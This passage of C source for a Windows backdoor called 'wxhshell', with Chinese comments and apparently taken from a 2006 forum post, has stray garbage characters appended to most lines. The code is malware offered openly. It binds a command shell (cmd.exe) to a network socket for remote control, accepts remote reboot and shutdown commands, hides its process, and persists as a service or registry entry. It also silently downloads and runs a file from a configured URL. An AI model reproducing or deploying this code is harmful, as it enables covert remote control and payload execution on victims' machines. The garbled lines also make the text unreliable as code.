  else { b}"N`,0dO  
}|pwz   
    switch(cmd[0]) { R#I0|;q4|p  
  5rU[ T ir  
  // 帮助 OOo3G~2r  
  case '?': { k=jk`c{<[  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); r8xv#r1  
    break; Y/*mUS[oa  
  } h%uZYsK  
  // 安装 2%_vXo=I  
  case 'i': { WHj'dodS  
    if(Install()) tIuCct-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .?loO3 m  
    else :s7m4!EF  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \hx1o\  
    break; &__es{;P  
    } r/u A.Aou^  
  // 卸载 y#3j`. $3p  
  case 'r': { ?k(7 LX0j  
    if(Uninstall()) ;;#qmGoE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )% ~OH  
    else a m|F?|1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 73/P&hT  
    break; *Qg_F6y  
    } >LOjV0K/  
  // 显示 wxhshell 所在路径 1ng!G 7g  
  case 'p': { ?j"KV_  
    char svExeFile[MAX_PATH]; ?B2] -+Y  
    strcpy(svExeFile,"\n\r"); Gz,i~XX  
      strcat(svExeFile,ExeFile); {?:X8&Sf  
        send(wsh,svExeFile,strlen(svExeFile),0); Hl{S]]z  
    break; ,g2ij  
    } vH :LQ!2  
  // 重启 OC BgR4I  
  case 'b': { JzQ)jdvp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); +%ee8|\  
    if(Boot(REBOOT)) |#]@Z)xa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); X:vghOt?  
    else { w5Y04J  
    closesocket(wsh); 7/I,HxXp!  
    ExitThread(0); ;V*l.gr'2  
    } a,k>Q`  
    break; i3 @)W4{  
    } ~a ]+#D  
  // 关机 x|pg"v&[  
  case 'd': { _({hc+9p  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vf] "L .G  
    if(Boot(SHUTDOWN)) A#EDk U,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t/VD31  
    else { onz?_SAW  
    closesocket(wsh); sn obT Q  
    ExitThread(0); `4=^cyt+  
    } 1_PoqD!q  
    break; &,{fw@#)_  
    } M l Jo`d  
  // 获取shell _`&m\Qe>  
  case 's': { 1v.c 6~  
    CmdShell(wsh); Rwz0poG`WG  
    closesocket(wsh); *U&0<{|T  
    ExitThread(0); :~Wrf8 UQ  
    break; L^@'q6*}  
  } oX30VfT  
  // 退出 5z7U1:  
  case 'x': { gOSJM1Mr3  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ME46V6[LX]  
    CloseIt(wsh); =P't(<  
    break;  zv0l,-o  
    } Yc_8r+;(  
  // 离开 p<2L.\6"  
  case 'q': { 2 ^h27A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); <m)$K  
    closesocket(wsh); [q?<Qe  
    WSACleanup(); ,|y:" s  
    exit(1); WrQDX3  
    break; hI]Hp3S  
        } B-ngn{Yc   
  } .HS"}A T  
  } BJ$9v bhZN  
{< )1q ;  
  // 提示信息 >3_jWFq  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [ 9 {*94M  
} I,>- tGK  
  } e:fy#,HEj{  
xS4w5i2  
  return; 8m2Tk\;:  
} *|%@6I(  
=,spvy'"*C  
// shell模块句柄 nAW:utTB  
int CmdShell(SOCKET sock) %b&". mN  
{ p>RNPrT  
STARTUPINFO si; Ta ?_5  
ZeroMemory(&si,sizeof(si)); }vxw*8d?  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ~zCEpU|@N  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; -JMdE_h  
PROCESS_INFORMATION ProcessInfo; {XR6>]  
char cmdline[]="cmd"; x+ Ttl4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); H?<N.Dq  
  return 0; C'\- @/  
} k1w_[w [  
6& e3Nt  
// 自身启动模式 i2E )P x  
int StartFromService(void) ehzM) uK  
{ "c3Grfoz  
typedef struct 0b+Wc43}K  
{ Jj!vh{  
  DWORD ExitStatus; I4/8 _)b^  
  DWORD PebBaseAddress; IHam4$~-  
  DWORD AffinityMask; '&x#rjo#  
  DWORD BasePriority; mHV%I@`Y6  
  ULONG UniqueProcessId; CtyoHvw+M  
  ULONG InheritedFromUniqueProcessId; ciBP7>'::  
}   PROCESS_BASIC_INFORMATION; [~-9i &Z  
[Y|8\Ph`&  
PROCNTQSIP NtQueryInformationProcess; G_;)a]v8)  
Sj]T   
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !\nBh  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 6G1@smP  
v\KA'PmiP  
  HANDLE             hProcess; .AR#&mL9  
  PROCESS_BASIC_INFORMATION pbi; zKw`Md  
w~(1%p/  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .L9j>iP9 *  
  if(NULL == hInst ) return 0; mg^I=kpk  
~zHjMo2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); S^-DK~Xt4  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); :[wsKFaV+  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F"&~*m^+  
f sJ9bQm/  
  if (!NtQueryInformationProcess) return 0; En~5"yW5>]  
wW7eT~w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f!\lg  
  if(!hProcess) return 0; pWy=W&0~qf  
YLqGRE`W  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $bW3_rl%X  
L^E[J`  
  CloseHandle(hProcess); Z,sv9{4r  
-}nxJH)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); VCY\be  
if(hProcess==NULL) return 0; 13=A  
[$qyF|/K`n  
HMODULE hMod; v25R_""~  
char procName[255]; 4" Cb/y3  
unsigned long cbNeeded; "S8uoSF`>  
vMA]j>>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); wN@oYFoL  
2/vMoVT,  
  CloseHandle(hProcess); -=%@L&y1  
QqFR\6  
if(strstr(procName,"services")) return 1; // 以服务启动 (\\eo  
r[2ILe  
  return 0; // 注册表启动 }Ga\wV  
} gRCdY8GH  
6g|*`x{  
// 主模块 d ^^bke$~  
int StartWxhshell(LPSTR lpCmdLine) GGNvu )"  
{ BzkooJ  
  SOCKET wsl;  3L< wQ(  
BOOL val=TRUE; 7op`s5i  
  int port=0; &+cEV6vb+  
  struct sockaddr_in door; iIMd!Q.)@  
~D<IB#C  
  if(wscfg.ws_autoins) Install(); D&od?3}E  
"U e. @>  
port=atoi(lpCmdLine); K~AR*1??[  
'10oK {m$  
if(port<=0) port=wscfg.ws_port; j}%ja_9S  
LgKaPg$  
  WSADATA data; k`So -e-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CLRiJ*U  
ZIf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   5* j?E  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /I1h2 E  
  door.sin_family = AF_INET; 0rOfrTNOz%  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); <vUbv   
  door.sin_port = htons(port); Z3#P,y9@  
U}6B*Xx'  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 6ys &zy  
closesocket(wsl); iI\oz&!vH  
return 1; [0(B>a3J  
} N/Z2hn/m  
YUx.BZf7  
  if(listen(wsl,2) == INVALID_SOCKET) { kqM045W7  
closesocket(wsl); s"0Y3x3  
return 1; !F1M(zFD  
} R@/"B8H  
  Wxhshell(wsl); 5 xppKt  
  WSACleanup(); 6N",- c  
I/a/)No  
return 0; 8D>n1b(H  
j"}*T  
} aNScF  
ZG>PQA  
// 以NT服务方式启动 V,mw[Hw  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) }j^i}^Du,  
{ N9jH\0nG  
DWORD   status = 0; Hw7;;HK 7  
  DWORD   specificError = 0xfffffff; Z)! qW?  
G!"YpYml  
  serviceStatus.dwServiceType     = SERVICE_WIN32; d*jMZ%@uS  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; wj,:"ESb4  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; @CTgT-0!  
  serviceStatus.dwWin32ExitCode     = 0; Yn@lr6s  
  serviceStatus.dwServiceSpecificExitCode = 0; :K-~fA%kt?  
  serviceStatus.dwCheckPoint       = 0;  Q?nN!e T  
  serviceStatus.dwWaitHint       = 0; byLft 1  
b:Wm8pp?  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); GO__$%~  
  if (hServiceStatusHandle==0) return; N):tOD@B  
 Of"  
status = GetLastError(); %5eY'  
  if (status!=NO_ERROR) 2>cGH7EBD  
{ *]AdUEV?  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; JTr vnA  
    serviceStatus.dwCheckPoint       = 0; SSPHhAeH8  
    serviceStatus.dwWaitHint       = 0; A Y*e@nk\  
    serviceStatus.dwWin32ExitCode     = status; UaWl6 Y&Vu  
    serviceStatus.dwServiceSpecificExitCode = specificError; O!P H&;H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); y`F3Hr c  
    return; U&Wt%U{  
  } AfX}y+Ah  
S<VSn}vn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {4G%:09~J  
  serviceStatus.dwCheckPoint       = 0; [3(7  4  
  serviceStatus.dwWaitHint       = 0; 0 vtt"f)Y[  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); VKq=7^W  
} HkO7R `  
o=50>$5jlS  
// 处理NT服务事件,比如:启动、停止 t"= E^r  
VOID WINAPI NTServiceHandler(DWORD fdwControl) fQi4\m  
{ (#Wu# F1;  
switch(fdwControl) 9f hsIe  
{ DVSL [p?_  
case SERVICE_CONTROL_STOP: P(H8[,  
  serviceStatus.dwWin32ExitCode = 0; ^G4 P y<s  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; +z9Q-d%O  
  serviceStatus.dwCheckPoint   = 0; TygW0b 1  
  serviceStatus.dwWaitHint     = 0; *h'=3w:G  
  { -=~| ."O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M_"L9^^>N  
  } \P.I)n`8 y  
  return; ` :o4'CG  
case SERVICE_CONTROL_PAUSE: g/P+ZXJ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Lv| q  
  break; 0`X]o'RxS  
case SERVICE_CONTROL_CONTINUE: NYrQ$N"  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; bn!HUM,  
  break; H."EUcE{  
case SERVICE_CONTROL_INTERROGATE: SKkUU^\#R`  
  break; y%%}k  
}; Tk5W'p|6f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); xT   
} ~GL] wF2#  
{]%0lf:  
// 标准应用程序主函数 L*&p !  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) G/7cK\^u  
{ !bN*\c  
+RyjF~  
// 获取操作系统版本 7ccO93Mz  
OsIsNt=GetOsVer(); hRUhX[  
GetModuleFileName(NULL,ExeFile,MAX_PATH); v7iuL6jl  
n:yTeZ=-s4  
  // 从命令行安装 whi`Z:~  
  if(strpbrk(lpCmdLine,"iI")) Install(); KG|n  
mP0yk|  
  // 下载执行文件 D ,o}el  
if(wscfg.ws_downexe) { B{'( L |  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Gn ~6X-l  
  WinExec(wscfg.ws_filenam,SW_HIDE); l'/R&`-n  
} *>n;SuT_  
\=:~ki=@B  
if(!OsIsNt) { HY&aV2|A1  
// 如果时win9x,隐藏进程并且设置为注册表启动 W-?()dX{  
HideProc(); #xX5,r0  
StartWxhshell(lpCmdLine); -* WXMzr  
} }:us:%  
else 60J;sGW  
  if(StartFromService()) gW)3e1a  
  // 以服务方式启动 AiEd!u.  
  StartServiceCtrlDispatcher(DispatchTable); YjxF}VI~<  
else wr$M$i:  
  // 普通方式启动 k1{K*O$e  
  StartWxhshell(lpCmdLine); g# Sl %Y  
1(I6.BHW  
return 0; +nXK-g;)'  
}
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只看该作者 1 发表于: 2006-10-10
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